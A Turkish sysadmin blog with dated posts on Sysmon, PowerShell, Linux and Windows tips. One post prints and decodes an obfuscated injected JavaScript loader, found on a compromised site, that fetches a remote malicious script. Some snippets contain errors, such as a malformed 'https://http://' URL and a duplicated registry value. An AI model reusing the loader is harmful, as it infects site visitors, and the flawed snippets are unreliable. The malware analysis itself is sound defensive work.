26.12.2023

Sysmon'da No declaration for element DestinationIP hatası

Sysmon'da kullanmak üzere bir XML yapılandırma dosyası hazırladım. Belli bir IP adresi ile yapılan iletişimin kayda geçmesi için hedef IP adresini belirtmek istedim, hatta bazı portları. Bunun için SwiftOnSecurity'nin yapılandırma dosyasını baz alarak üzerinde bazı değişiklikler yaptım. NetworkConnect (Id=3) olayı için şuna benzer bir yapılandırma oldu:

<RuleGruop name="Network" groupRelation="or">
  <NetworkConnect onmatch="include">
    <Image> ...</Image>
    ...
    <DestinationIP name="target" condition="is">192.168.22.2</DestinationIP>
    </NetworkConnect>
</RuleGruop>

Bu include bloğu sonrasında da kısa bir exclude bloğu var. Ama yapılandırma dosyasını

> sysmon -c config.xml

ile devreye almak istediğimde hata veriyordu. -t ile hata bulma modunda baktığımda şöyle hatalar veriyordu:

No declaration for element DestinationIP
No declaration for attribute name of element DestinationIP
No declaration for attribute condition of element DestinationIP
LIBXML2 Error: Failed to validate the xml configuration: config.xml

Bu hatalardan bir anlam çıkaramadım. Karşı tarafın IP adresinin belirtilmesi için kullanılan Destination IP alanının varlığından eminim, kullanan yapılandırma dosyaları da gördüm. Yaptığım aramalarda da bir sonuç bulamadım. İşi bilen birine danışmak lazım, ama öyle birini de bulamadım. Sonra aklıma Google Bard (geçen haftaki Gemini reklamlarından sonra) geldi, kısaltılmış yapılandırma dosyam ile aldığım hataları ona gönderdiğimde bana çok net bir şekilde hatamı söyledi:

Çözüm: DestinationIP öğelerini DestionationIp ile (küçük "p") değiştirin.

Bunu Barış Özcan söylemişti; yapay zeka her zaman soru sorabileceğimiz konuyu bilen bir arkadaşımız gibi.

25.12.2023

Sami Laiho'dan ipuçları

Windows dünyasının ünlü kişiliği, şu konuşmasında bazı Windows ipuçları vermiş. Bazılarını özetlemek istedim:

  • Politikalar, kötü niyetli yazılımlar vs ile komut satırı penceresini açmamız engellenmişse bile Görev Yöneticisi'nde Dosya menüsünden yeni çalıştır'a Control tuşu ile basarsak komut satırı penceresi açılır. Üstelik de yükseltilmiş ayrıcalıklarla.
  • Görev çubuğuna Control ve Shift ile birlikte sağ tıklayınca açılan menüde "Explore'dan çık" görüntülenir.
  • Alt+F4 ile açılan windows kapatma diyaloğunda İptal' Control+Shift+Alt ile basarsak bütün explorer.exe süreçleri sonlandırılır. Tekrar başlatmak için Ctrl+Alt+Del veya Ctrl+Shift+Escape ile Görev Yöneticisini başlatıp buradan yeni görev oluşturmak gerekir.
  • Buraya kadarki numaraların Dave Cuttler'a ait olduğunu, Windows 10 ve daha yeni Windows'larda ise Görev Yöneticisi'nde explorer.exe'ye sağ tıkladığımızda "Yeniden Başlat" seçeneğinin olduğunu vurgular, Sami.
  • Resmi yardım belgelerinde yer almayan komut satırı anahtlarlarını edinmek için yine bir Sysinternals aracı olan strings'in kullanılabiliriz:
    • strings wuauctl.exe
  • Windows'un professional sürümlerinde yer alan logoff.exe ile komut satırından oturum kapatmanın mümkün. Ama home sürümlerinde yok.
  • whoami /all ile Mandatory Level seviyemizi görebiliyoruz. Bu neden önemli, yükseltilmiş yetkilerle çalışan bir komut satırı penceresine normal yetkilerle çalıştırılmış bir Explorer penceresinden dosya yolunu sürükleyip bırakamıyoruz artık, Vista'dan beri. Bunun sebebi bu Mandatory Level'lar. Bu bilgiye Process Explorer'da bir sürecin Security sekmesinden de erişebiliyoruz. Hatta Appdata klasörünün altında hem Local hem de Locallow klasörlerinin olmasının sebebi de bu Level'lar. Low olan browser'larımız, Outlook, Adobe Reader gibi programların birşeyler yazması için.
  • Normal copy komutu ile yapamadığımız işleri robocopy /b komutu ile yapabiliyoruz. 

 

24.12.2023

Could not open /dev/vmmon

Linux'ta VMware Workstation Player kullanırken, çekirdek güncellemeleri sonrasında aşağıdaki gibi bir hatayla karşılaşıyorum ve sanal makineler açılmıyor.

Şu adresin yardımıyla çözümü aşağıdaki gibi buldum:

$ sudo vmware-modconfig --console --install-all
$ sudo modprobe -a vmw_vmci vmmon

Bir sonraki açılışta herşey normal.

23.12.2023

Sistem olay kaydında SChannel 36882 olayı

Bir süredir bazı makinelerin sistem olay günlüklerinde çok sayıda Schannel (id=36882) olaylarının olduğunu gördüm. Bunların neden olduğunu anlayamıyordum. Şu sayfada da yazdığı gibi bu hataların sebebi kurulu sertifikaların birisi ile ilgili. Hangi sertifika olduğunu bulmak için olayın ayrıntılar sekmesinde kolay görünüm kipinde listelenen verilerin içinde ANSI kodlanmış karakterlerin arasında sertifika ile bilgilere bakarak bir sonuca varabildim.

21.12.2023

Fortigate ve SSL Inspection

SSL inspection yaparken Fortigate'in sertifikasını kurmak gerekir. Bunun için Fortigate arayüzüne oturum açıp System > Certificates sayfasına gelerek sayfanın başlarında yer alan Local Ceritificates başlığı altında muhtemelen Fortigate_SSL_Cert şeklinde listelenen sertifikayı bilgisayarımıza indirerek Güvenilir Kök Sertifika Yetkilileri (Trusted Root Certification Authorities) alanına eklemeliyiz.

14.12.2023

Powershell modülleri

Powershell'de modül oluşturmak basit. Belgelerim klasörünüzün altında WindowsPowerShell klasöründe Modules adında bir alt klasör var. Bu konumda modülünüzle aynı isimli bir klasör oluşturup modül dosyanızı da bu klasöre kopyalamanız yeterli. Modül dosyası ise .psm1 uzantılı normal bir powershell dosyası olacak, içinde fonksiyonlarınızın tanımlı olduğu.

Normal şartlar altında Import-Module kullanmaya gerek yok; modüllerin içinde tanımlanan fonksiyonların isimlerini yazmak yeterli, modüller otomatik yükleniyor.

Ancak elimdeki modül dosyasını uzaktaki bir bilgisayara kopyalamama rağmen şöyle bir hata alıyorum.

Bu dosya benim bilgisayarımda da var, ama sayısal imza aramıyor. Neden uzak bilgisayarda arar? Bu arada uzaktaki bilgisayarda ExecutionPolicy'yi de RemoteSigned yaptım. Bypass olarak seçince çalıştı. O zaman farkettim ki olay RemoteSigned için farklılık gösteriyor. Demek ki benim uzaktaki bilgisayara kopyaladığım dosyanın Zone.Information ADS'si ile ilgili olabilir. Modül klasörüne gidip baktım:

PS> Get-Item .\Lib1.psm1 -Stream *

Evet, Zone.Information var. Önce bu engeli kaldıralım.

PS> Unblock-File .\Lib1.psm1

Sonrasında işlem başarılı.

10.12.2023

OSI katmanları

Basitleştirilmiş bir tanım ile akılda kalıcı olması açısından OSI ağ katmanlarını şöyle sıralayabiliiriz:

1. Fiziksel katman: Cihazlar arasnıdaki fiziksel bağlantının yapıldığı katman. Örnek: Kablolar, konnektörler, her bir bitin iletildiği ethernet veya fiber kabloları.

2. Veri bağlantı katmayı: Verinin aynı ağdaki cihazlar arasında güvenli bir şekilde iletilmesi işlerini yürüten katman. Örnek: Layer2 switch'ler olarak bilinen sadece MAC adreslerine bağlı olarak çalışan ağ cihazları.

3. Ağ katmanı: Verinin farklı ağlar veya alt ağlar arasında route edilmesinden sorumlu katman. Örnek: Router'lar, Layer3 switch'ler olarak bilinen ve IP adreslerine göre paketleri iletebilen ağ cihazları.

4. Taşıma katmanı: Bu katmanda verinin uçtan uca güvenli bir şekilde iletilmesi sağlanır. Hata kontrolü yapılır. Örnek:TCP ve UDP.

5. Oturum katmanı: Farklı cihazlardaki uygulamalar arasındaki oturumları veya bağlantıları yönetir. Örnek: NetBIOS.

6. Sunum katmanı: Veriyi uygulama katmanı ile alt katmanlar arasında çevirir, veri formatı ve şifreleme ile ilgilenir. Örnek: SSL ve TLS gibi şifreleme protokolleri.

7. Uygulama katmanı: Ağ hizmetlerini doğrudan son kullanıcıra veya uygulamalara sağlar. Örnek: HTTP, SMTP ve FTP gibi protokoller.

Kaynak: ChatGPT 3.5

5.12.2023

Kodlanmış betikler

Girilmek istenen web sitelerinden birisi güvenlik duvarı üzerinde zararlı kod olarak sınıflandırılıyor ve engelleniyordu. Tekrar incelenmesini istedim, ısrarla zararlı içerik olduğu belirtildi. Virustotal'de bu görüşü destekleyecek bir sonuç göremedim. Google Safe Browsing'de de.

https://sitecheck.sucuri.net ile yaptığım taramada sitenin içinde kodlanmış betik parçası buldum (dikkat, zararlı içerik barındırır!):

  <script id="sgpb-custom-script-676">
    sgAddEvent(window, "sgpbWillOpen", function (e) {
      if (e.detail.popupId == "676") {
        (function () {
          var elem = document.createElement(
            String.fromCharCode(115, 99, 114, 105, 112, 116)
          );
          elem.type = String.fromCharCode(
            116,
            101,
            120,
            116,
            47,
            106,
            97,
            118,
            97,
            115,
            99,
            114,
            105,
            112,
            116
          );
          elem.src = String.fromCharCode(
            104,
            116,
            116,
            112,
            115,
            58,
            47,
            47,
            100,
            114,
            111,
            112,
            46,
            100,
            111,
            110,
            116,
            115,
            116,
            111,
            112,
            116,
            104,
            105,
            115,
            109,
            117,
            115,
            105,
            99,
            115,
            46,
            99,
            111,
            109,
            47,
            100,
            114,
            111,
            112,
            46,
            106,
            115,
            63,
            116,
            61,
            49
          );
          document
            .getElementsByTagName(String.fromCharCode(104, 101, 97, 100))[0]
            .appendChild(elem);
        })();
      }
    });
</script>


Bu zararsız gibi görünen betiğin içinde kısaca şu işlemler var:

var elem = document.createElement(
            String.fromCharCode(115, 99, 114, 105, 112, 116)

Burada yeni bir DOM öğesi oluşturuluyor. fromCharCode() fonksiyonunun içindeki tamsayıları  Powershell yardımıyla bir değişkene atadım:

PS> $d = (115,99,114,105,112,116)

daha sonra bunları şu şekilde bir string veri tipine dönüştürdüm:

PS> $a=""; $d | % { $a = $a + [char]$_ }; $a 

Sonuç bir html betik etiketi: script

Sonraki adıma geçtim. Bu sefer de elem.type'ın satırındaki tam sayı dizisi için aynı işlemi yaptım:

PS> $d = (116,101,120,116,47,106,97,118,97,115,99,114,105,112,116)

daha sonra bunları şu şekilde string veri tipine dönüştürdüm:

PS> $a=""; $d | % { $a = $a + [char]$_ };$a

Buradan da text/javascript çıktı.

Nihayet sıra vurucu kısma geldi; üçüncü adımda elem.src'yi decode ettim oradan da https://drop.dontstopthismusics.com/drop.js?t=1 gibi bir adres çıktı. Nihayet bu üçü bir html etiketi olarak bir sonraki adımda appenChild ile DOM yapısına ekleniyor. Yani standart bir şekilde listelenmeyen bir script alt bileşenimiz ortaya çıkıyor.

Virustotal'de bu URL'i taradığımda ise şu sonuç çıktı:

 

Evet, bu adres zararlı içerik olarak sınıflandırıldı. Şu anda ulaşılabilir olmadığı için içeriğini göremiyorum. Ama bir ara ulaşılabiliyormuş ki zararlı olarak sınıflandırılabilmiş.

2.12.2023

Window 11 kurulumu

Windows 11 kurulumu bazı kısıtlamalar getirdi. Öncelikle TPM 2.0 gerekli. Bunun yanı sıra en az 4 GB bellek ve secure boot (güvenli önyükleme) gerekliliği var. Çok istersek bunları pas geçebiliriz. Eğer "Bu bilgisayara Windows 11 kurulamaz" gibi bir ekran ile karşılaştıysak Shift+F10 ile komut satırı penceresini açıp, oradan regedit ile kayıt defterini çalıştırdıktan sonra

HKEY_LOCAL_MACHINE\SYSTEM\Setup

anahtarına gidip burada bir LabConfig alt anahtarı oluşturup içine de aşağıdaki REG_DWORD32 değerlerini eklemeliyiz.

BypassTPMCheck = 1
BypassSecureBootCheck = 1
BypassSecureBootCheck = 1

Bu aşamadan sonra bir önceki adıma geri dönüp tekrar ileri demek gerek.

Bundan sonraki aşamada da bizden bir çevrim içi hesap isteyecek. Bu da zorunlu gibi duruyor ama pas geçmek mümkün. Windows'un internet bağlantısı yoksa çevrim dışı kurulum yapılabilir. Microsoft bunu biraz daha az işlevsellik sunan bir kısıtlı mod olarak görüyor. Bunu yapabilmek için bilgisayara kurulum sırasında ağ bağlantısı yapmamak bir seçenek. Yapıldıysa uçak moduna almak (klavyede böyle bir tuş varsa) ya da yine o ekrana geldiğimizde Shift+F10 ile komut satırını açıp aşağıdaki yöntemlerden biriyle ağ bağlantısını devre dışı bırakma seçeneğimiz var:

> ipconfig /release
> netsh interface set interface Wi-Fi disable
> powershell -Command Disable-NetAdapter "Wi-Fi"

30.11.2023

Powershell'de etki alanı denetleyici sunucuları bulmak

Powershell betiklerine etki alanı denetleyici isimlerini elle yazmak yerine canlı olarak sorgulamak, betiklerin farklı etki alanlarında da sorunsuz çalışması için faydalı olabilir. ActiveDirectory modülü yüklüyse şu adımla bulunabilir:

PS> Get-ADDomainController -Filter *

ActiveDirectory modülü yüklü değilse

PS> $DCList = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
PS> $DCList.DomainControllers.name

gibi bir yöntem olabilir.

14.11.2023

LUKS ile şifrelenmiş diskleri açmak

Linux'u boot ettiğimiz disk şifreli değil. Ancak elimizde başka bir disk var, şifreli. Bu diski nasıl açarız? Sorumuz bu.

Diski taktıktan sonra lsblk --fs ile baktığımda FSTYPE sütununda gözüken crypto, diskin bir şifreleme kullandığını gösteriyor. Benim durumumda bu sdb1 olarak gözüküyordu.

$ sudo cryptsetup open /dev/sda3 luksrecoverytarget --type luks

kullanarak şifrelenmiş diske ait bir LUKS container'i oluşturalım. Bu sonrasında bize passphrase'imizi (şifrelenmiş birime ait parolamız) sorulacak. Doğru parolanın girilmesinin ardından /dev/mapper/luksrecoverytarget adında bir container'ımız olacak. Bu container'ı da mount etmek için

$ mount /dev/mapper/luksrecoverytarget /mnt/plain

kullanabiliriz. Yukarıdaki komut /mnt/plain'in var olduğunu varsaydı. İşlemer bittikten sonra önce unmount

$ umount /mnt/plain

ardından container'ı sonlandırmak gerek:

$ sudo cryptsetup close luksrecoverytarget

 ---

https://unix.stackexchange.com/questions/445652/how-to-mount-and-de-encrypt-a-luks-encrypted-partition-to-recover-files

https://www.baeldung.com/linux/check-disk-encryption

1.11.2023

Powershell fonksiyon oluşturma

Diğer programlama dillerinde olduğu gibi, Powershell'de de tekrarlanan kodları bir fonksiyon içinde tutup hızlıca erişime açabiliriz. Benim buradaki amacın bir fonksiyonun oluşturulmasıındaki birkaç anahtar noktayı vurgulamak.

Bir amacımız olduğunu varsayalım; bir genel (public) IP adresini hakkında coğrafi konum bilgisi alacağız. Bu amaçla bir fonksiyon oluşturuyoruz. Bu fonksiyonun adı Get-IPGeoInfo olsun. Powershell'de fonksiyonlara girişler (sorgu yapacağımız IP adresi) parametreler yardımıyla gönderilir. Örneğin terminalde

PS> Get-IPGeoInfo -IPAddress 195.175.39.39

gibi bir şekilde fonksiyonumuz çağrılabilir. Bunun için fonksiyon kodunun şu şekilde oluşturulması gerekir:

function Get-IPGeoInfo {
   param(
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Bu şekilde,  ilk satırda yazıldığı gibi bir giriş sağlanırsa cevap alınabilir.

Ama IP adresinin terminalden verilmediğini düşünelim. Bu durumda fonksiyon bir boş bir IP verisi için sorgu yapacağından hata verir. Bunun önüne geçmek için IPAddress parametresinin zorunlu sağlanmasını isteyebiliriz. Bu amaçla

function Get-IPGeoInfo {
   param(
      [Parameter(Mandatory=$true)]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

kırmızı ile vurguladığım eklemeleri yapabiliriz. Ayrıca her seferinde IPAddress değil de sadece IP yazarak parametresini belirtmek istiyorsak bu parametre tanımına bir alias ekleyebiliriz.

function Get-IPGeoInfo {
   param(
      [Parameter(Mandatory=$true)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Benzer şekilde fonksiyonumuz için de alias belirtebiliriz. Her seferinde Get-IPGeoInfo yerine kısaca ipinfo yazmak için param bloğunun hemen öncesine alias ekleyebiliriz.

function Get-IPGeoInfo {
   [Alias('ipinfo')]
   param(
      [Parameter(Mandatory=$true)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Fonksiyonumuzun Powershell'in ortak parametrelerine erişebilmesi için CmdletBinding anahtar kelimesini kullanabiliriz.

function Get-IPGeoInfo {
   [CmdletBinding()]
   [Alias('ipinfo')]
   param(
      [Parameter(Mandatory=$true)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Ayrıca CmdletBinding'in içini dolduracak ek parametreler için şu adrese bakılabilir.

Parametre tanımlamasında kullanılabilecek başka ayrıntılar da var. Örneğin yukarıdaki örneğimizde giriş parametresi sadece 1 tane olduğu için bu parametreyi her seferinde -ip diye kısa şekliyle bile belirtmeye gerek yok sadece (yeni alias'ımızı da hesaba katarak)

PS> ipinfo 195.175.39.39

şeklinde çalıştırabiliriz. Ama birden fazla parametremiz olsaydı hangisinin varsayılan olacağını (ve dolayısıyla diğer parametrelerin sıralarını) belirtmek için Position anahtar kelimesini kullanabiliriz. Bu şekilde her seferinde IP adresini elle yazmak yerine başka bir komutun çıktısını boru hattından (pipeline) almak için ValueFromPipeline'ı kullanabiliriz. Ayrıca Boolean veri tipindeki değerleri =$true şeklinde belirtmeye de gerek yok, sadece anahtar kelime ismini belirtmek yeterli, aşağıdaki gibi.

function Get-IPGeoInfo {
   [CmdletBinding()]
   [Alias('ipinfo')]
   param(
      [Parameter(ValueFromPipeline,Mandatory,Position=0)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Fonksiyonumuzun birden fazla parametresi varsa ve bu parametreleri isimlerini belirtmeden de çağırabilmek istiyorsak Position özelliğini kullanabiliriz. Örneğin param(.) bloğunda şu şekilde birşey olabilir:

param(
     [Parameter(Position=0)][string]$IPAddress,
     [Parameter(Position=1)][string]$HizmetSaglayici
)

Böylece artık fonksiyonumuzu

PS> ipinfo 1.1.1.1 ip-api.com

gibi kullandığımızda sırasıyla sorgu yapılacak IP adresini 1.1.1.1 olarak alacak, ve diğer parametreyi de hizmet sağlayıcı olarak kabul edecek. Elbette bu işlev şu anda fonksiyonumuzda yok, eklenmeli.

Bazı parametrelerin değerlerinin belli bir kümenin elemanlarından olmasını isteyebiliriz. Elle her seferinde yazmaktansa belli sınırlı sayıda değerden birini tab tuşu yardımıyla seçebiliriz. Bu amaçla ilgili paramterenin başına ValidateSet eklenebilir. Örneğin fonksiyonumuzda birden fazla GeoIP hizmet sağlayıcı varsa (ki şu andaki kodda bu yok) ve bunlardan birini seçmemiz gerekiyorsa:

function Get-IPGeoInfo {
   param(
      [string]$IPAddress,

      [ValidateSet("ipapi","geoipinfo","whereisip")][string]$service="ipapi"
   )
   ...

}

Hatta varsayılan olarak ipapi hizmetini de seçmiş olduk.

Çalışma zamanı istisnialarını yönetmek için bir try-catch bloğu kullanılabilir. Bunun için try içindeki cmdlet'in varsayılan hata durumundaki eylemi stop olarak ayarlanmalı ki catch bloğu işletilebilsin. Örneğin:

 

function Get-IPGeoInfo {
   param(
      [string]$IPAddress
   )

   try {

   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress" -ErrorAction stop
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

  }

  catch {

   Write-Error $_.Exception.Response.StatusCode

   Write-Error $_.ErrorDetails.Message

   $cikti = @{

      Sehir="-alinamadi-"

      Ulke="-alinamadi-"

      Operator="-alinamadi-"

   }

   finally {

   $cikti

   }
}

Bunun dışında boru hattından alınacak verinin işlenmesi için Begin-Process-End gibi fonksiyon bölümleri de koda eklenebilir.

27.10.2023

TCMB'den kur bilgisini Powershell ile çekmek

Merkez Bankası'nın kur bilgisini paylaştığı bir XML dosyası var

https://www.tcmb.gov.tr/kurlar/today.xml

adresinde, yıllardır değişmedi. İki tane kur bilgisini almak için her seferinde tarayıcıyı açıp adresi yazmaktansa küçük bir betik ile bakmak daha pratik geldi.

$tcmb_url = "https://www.tcmb.gov.tr/kurlar/today.xml"
[xml]$icerik = Invoke-WebRequest $tcmb_url
$icerik.Tarih_Date.Currency[0].CurrencyCode
$icerik.Tarih_Date.Currency[0].BanknoteSelling

0 endeks Amerikan Doları, 3 endeks de Avro.

Daha geniş bir görüş açısına sahip olmak için

$icerik.Tarih_Date.Currency[0]

komutu ile ne tür bir veri ile uğraştığımızı görmek istersek aşağıdaki gibi bir yapı ile karşılaşırız:

CrossOrder      : 0
Kod             : USD
CurrencyCode    : USD
Unit            : 1
Isim            : ABD DOLARI
CurrencyName    : US DOLLAR
ForexBuying     : 28.1026
ForexSelling    : 28.1532
BanknoteBuying  : 28.0829
BanknoteSelling : 28.1954
CrossRateUSD    :
CrossRateOther  :


20.10.2023

Linux terminali öğrenmek

 Linux terminal komutlarını öğrenmek için bulduğum güzel bir site var;

https://devopschops.com/blog/games-for-learning-linux/

Bu sitenin içinde denediğim ve eğlenceli bulduğum iki bağlantı ise

Command Challenge

ve

Sad Servers

boş vakitlerde denenebilir.

19.10.2023

linux'ta xargs komutu

xargs komutu, pipeline'dan veri almayı desteklemeyen komutlara bu özelliği kazandırmak için kullanılabilir. Hiçbir parametre kullanmadığımızda her biri yeni bir satıra yazılmış öğeleri boşluk ile ayrılmış şekilde aynı satıra yazar. Örnek olarak sehirler.txt dosyamızda şehir isimleri, her satırda bir tane olacak şekilde yazılmış olsun.

$ cat sehirler.txt

Bursa
Ankara
Kocaeli
Antalya
Adana

Bu şehir isimlerini tek satırda, boşluk ile ayrılmış şekilde yazmak için

$ cat sehirler.txt | xargs

kullanabiliriz. Bu elbette, xarg komutunun tüm yeteneklerini gösterecek bir örnek değil.

Mevcut klasörde dosya1.txt, dosya2.txt ve dosya3.txt adında 3 dosyamız olsun. Bunların içlerinde kaç kelime ve satır var, görmek istiyoruz.

$ ls dosya*.txt | wc

çalışmaz. Çünkü wc, pipeline input'u desteklemez. Bunu çalışır hale getirmek için

$ ls dosya*.txt | xargs wc

yapabilriz. Ya da bir log klasöründe 1 haftadan eski log dosyalarını silmek istiyoruz diyelim. Önce bu dosyaları bulalım:

$ find /var/log/ -type f -mtime +7

Bu komut ile bulunan dosyaları silmek için 

$ find /var/log/ -type f -mtime +7 | rm

işe yaramaz, çünkü rm stdin'den veri okumaz. Evet, find'in -exec parametresi ile de çözülebilir, ama örnek olması açısından şöyle bir kullanım xarg'ı açıklayabilir:

$ find /var/log -type f -mtime +7 | xargs rm

sehirler.txt dosyasının içeriğinin tek satırda yazıldığı örnekteki gibi, yukarıdaki örnek de aslında şuna eşdeğer bir işlem yapar:

$ rm log01.txt log02.txt log03.txt ...

Her log dosyasını ayrı bir rm komutuyla silmek için -n 1 kullanabiliriz

$ find /var/log/ -type f -mtime +7 | xargs -p -n 1 rm

Bu komut da şuna eşdeğer bir işlem yapar:

$ rm log01.txt
$ rm log02.txt
$ rm log03.txt
...

Bu dosyaları başka bir yere taşımak için

$ find /var/log/ -type f -mtime +7 | xargs -I % mv % /backup

Burada xargs, % yerine dosya isimlerini yerleştirir. -I parametresi, gizli -n 1 gibi davranarak aslında mv komutunun her dosya için ayrı ayrı çalıştırılmasını sağlar. Yani şuna eşdeğer bir işlem yapar:

$ mv log01.txt /backup
$ mv log02.txt /backup
$ mv log03.txt /backup
...

Dosya isimlerinde alfanümerik olmayan karakterlerin bulunması durumunda dosya isimlerini null karakteri ile ayırma şansımız var. Hem find komutunun dosya isimlerini null ile ayırt etmesini (-print0), hem de xargs komutunun bu karakterle ayrım yapmasını (-0) söyleyebiliriz:

$ find /var/log/ -type f -mtime +7 -print0 | xargs -0 rm

Paralel işlem yapılması ihtiyacı olan durumlar için xargs'ın -P gibi bir parametresi var.

12.10.2023

Google Earth'ten duvar kağıtları

Durup durup duvar kağıtlarına takılıyormuşum gibi bir his var içimde [1], [2], [3]. Ama hem masaüstü görüntümü güzelleştirmesi, hem de powershell (veya bash) pratiği olması açısından ilgilenmekten hoşlandığım bir konu.

Yeni gözdem, Google Earth ile elde edilen büyüleyici görüntülerin duvar kağıdı olarak kullanılması. Hedef sitemiz https://earthview.withgoogle.com. Sitedeki resimleri görüntülemek için açılış ekranında gözüken "Explore Images" butonuna basarak ilerlemek gerekiyor. Kaynak kodundan baktığımızda bu aslında bir buton şeklindeki bir <a> HTML tag'i. Bu tag'in href attribute'unda ilk seferde gösterilecek resimlerden birinin bağlantısı rastgele yazılı geliyor. Örneğin şu şekilde

<a class="button intro__explore" href="/camaguey-cuba-13980" title="Explore Earth Views" data-navigo>Explore images</a>

Burada /camaguey-cuba-13980 şeklinde görüntülenen href değerinin sonunda yazan 13980 bizim için önemli. Bunu okumamız lazım. Muhtemel yöntemlerden biri şu:

PS> (((iwr "https://earthview.withgoogle.com").Links | where {$_.title -eq "Explore Earth Views"} | select -expand href) -split "-")[-1]

13980

Anasayfadaki Links nesnesinin süzüp, içinden Title değeri "Explore Earth Views" olanı çekiyorum. Bunun href değerini alııp, "-" karakteri bölümlere ayırıp en sonuncusunu çekiyorum. Bunun sonucunu bir değişkene attığımızı varsayalım. Eğer bu çalışmıyorsa Invoke-WebRequest'i -UseBasicParsing ile kullanmamız gerekiyor olabilir.

Bu butona (bağlantıya) tıklandığında bir sonraki sayfada üst köşede bir indirme butonu geliyor. Bu butonun da href'inde şöyle bir indirme adresi bulunuyor:

https://earthview.withgoogle.com/download/13980.jpg

O zaman bir sonraki adımda indirmek için şunu yapmamız gerekecek

PS> iwr "https://earthview.withgoogle.com/download/13980.jpg" -Outfile "D:\wallpaper\13980.jpg"

Şimdi işi uzatan kısımları değişkenlere atıp bunu tek satırda yazalım:

PS> $url="https://earthview.withgoogle.com";$hedef=(((iwr $url).Links | where {$_.title -eq "Explore Earth Views"} | select -expand href) -split "-")[-1];iwr "$url\download\$hedef.jpg" -Outfile "D:\wallpaper\$hedef.jpg"

Sonraki adımda bunu Windows'a duvar kağıdı olarak ayarlamak için şu yazımda bahsettiğim Set-Wallpaper gibi bir fonksiyon kullanmamız gerek.

Benzer bir şekilde bu işi Linux'ta yapmak için şöyle bir dizi komut kullanılabilir:

TARGET_URL="https://earthview.withgoogle.com"
IMAGE_ID=$(curl -s ${TARGET_URL} | grep -Eio '\/download\/[0-9]{5}.jpg')
curl -s $TARGET_URL$IMAGE_ID -o 'bugunkuresim.jpg'

Tek satırlık bir kod değil, Powershell'in birebir aynısı değil, ama aynı amaca hizmet eder.

10.10.2023

Mevcut powershell sürecinin PID'sini bulma

Windows Terminal ile birden fazla sekme mümkün. Her sekme aslında yeni bir powershell.exe süreci başlatıyor. Bu süreçlerin ID'sini bulmak için powershell değişkenlerinden $PID'yi kullanabiliriz.

PS> $PID

Bir script'in veya .psm1 dosyasının içinden mevcut sürecimizi görmek istersek

PS> [System.Diagnostics.Process]::GetCurrentProcess()

kullanabiliriz.

---

https://learn.microsoft.com/tr-tr/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-5.1

Powershell ile toplu ping atma

Evet, nmap var. Ama ben bu işi Powershell ile yapmak istiyorum. Evet, firewall'ları açık olanlar cevap vermeyecek.

Hedef, mevcut yerel ağımızdaki (C sınıfı) IP adreslerine ping atarak açık olanları listelemek.

Yerel ağımızdaki IP aralığı 192.168.7.0/24 şeklinde. Son oktet 1'den başlayarak 254'e kadar değişecek.

ping işlemlerini seri olarak (biri bitmeden diğeri başlamayacak şekilde) yapmak istemiyorum. Powershell 5.1 ile paralel yapma şansım da yok. Başka ne yapabilirim? Arkaplan görevleri (background jobs)!

Tek bir hedefi pinglemek (powershell eşdeğeri Test-Connection) için arkaplan görevlerini şu şekilde kullanabilrim:

PS> Start-Job -ScriptBlock {Test-Connection -Computername 192.168.7.1 -Count 1 -Quiet}

Bu işlemi başlattıktan sonra eğer hedef bilgisayar açıksa ve ping'lere cevap verebiliyorsa 1 saniye içinde True değeri döner. Cevap vermiyorsa 4 saniye bekler ve False döner. Ama bu işlemi 254 hedef IP adresi için yapınca işler biraz değişiyor.

PS> 1..254 | % { Start-Job {Test-Connection -Comp "192.168.7.$Using:_ -Quiet -Count 1} } 

Bunun sonucunda 1'den 254'e kadar giden son oktette her bir oktet değeri için yeni bir powershell.exe süreci başlatılır, ve bu sürecin içinde Test-Connection çalıştırılır. Gördüğüm kadarıyla çok fazla bellek ve işlemci ihtiyacı oluyor. Her arkaplan görevinin sadece 1 adet ICMP paketi göndermek ve almak olduğunu düşünerek bu arkaplan görevlerinin hızlıca sonlanacağını düşünüyordum, ama gördüğüm kadarıyla öyle olmuyor. Bunun sebebini bilmiyorum, ama Windows'un görev yönetimi ile ilgili bir darboğaza sebep olduğu yönünde bir izlenim oluştu. Reddit'te  gördüğüm alternatif çözüm önerisi Test-Connection cmdlet'i ile birlikte -AsJob parametresini kullanmak:

PS> 1..254 | % { Test-Connection -Comp "192.168.7.$_" -Count 1 -AsJob } | wait-job | Receive-Job | ? {$_.ResponseTime -ne $null} | select Address, ResponseTime

Bu komutu tek parça olarak çalıştırınca C sınıfı bir subneti taramak 4 sn sürdü. Arka planda neler olduğunu anlamadım. Bu satırı ikiye ayırıp Wait-Job ve devamını ikinci bir satıra yazarsak Receive-Job komutunun bekleyen bütün görevleri listelemesi uzun sürüyor. Acaba sadece benim makinemde mi, bilmiyorum ama bu yöntem hızlı.

5.10.2023

telnet yerine ncat

